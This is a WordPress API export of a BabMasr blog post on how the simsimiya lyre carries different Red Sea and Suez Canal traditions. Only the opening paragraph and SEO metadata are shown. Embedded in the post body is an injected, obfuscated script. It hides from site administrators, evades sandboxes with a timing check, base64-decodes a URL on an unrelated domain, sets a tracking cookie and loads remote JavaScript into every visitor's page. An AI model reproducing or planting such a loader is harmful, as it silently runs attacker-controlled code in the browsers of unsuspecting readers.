{"id":4114,"date":"2025-12-23T20:34:03","date_gmt":"2025-12-23T18:34:03","guid":{"rendered":"https:\/\/babmsr.com\/en\/?p=4114"},"modified":"2026-03-06T15:31:34","modified_gmt":"2026-03-06T13:31:34","slug":"red-sea-simsimiya-vs-suez-canal-how-one-instrument-tells-two-egyptian-stories","status":"publish","type":"post","link":"https:\/\/babmsr.com\/en\/2025\/12\/23\/red-sea-simsimiya-vs-suez-canal-how-one-instrument-tells-two-egyptian-stories\/","title":{"rendered":"Red Sea Simsimiya vs. Suez Canal: How One Instrument Tells Two Egyptian Stories"},"content":{"rendered":"\n<p><strong>For three thousand years, a wooden lyre has travelled the Red Sea, first strung with animal intestines, later with fishing line, then telegraph wire, finally bicycle brake cables. Each adaptation tells the story of the people who played it: enslaved Africans, pearl divers, fishermen on months-long voyages, and eventually, Egyptian resistance fighters. But when these two traditions met at a festival last October, they discovered they were playing the same instrument in completely different languages.<\/strong><\/p>\n\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>For three thousand years, a wooden lyre has travelled the Red Sea, first strung with animal intestines, later with fishing line, then telegraph wire, finally bicycle brake cables. Each adaptation tells the story of the people who played it: enslaved Africans, pearl divers, fishermen on months-long voyages, and eventually, Egyptian resistance fighters. But when these &hellip;<\/p>\n","protected":false},"author":20,"featured_media":4117,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[],"class_list":["post-4114","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lower-egypt"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Red Sea Simsimiya vs. Suez Canal: How One Instrument Tells Two Egyptian Stories - BabMasr<\/title>\n<meta name=\"description\" content=\"What is the role of the media in protecting Egypt\u2019s vast, and often vulnerable, cultural heritage?\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/babmsr.com\/en\/2025\/12\/23\/red-sea-simsimiya-vs-suez-canal-how-one-instrument-tells-two-egyptian-stories\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Red Sea Simsimiya vs. Suez Canal: How One Instrument Tells Two Egyptian Stories - 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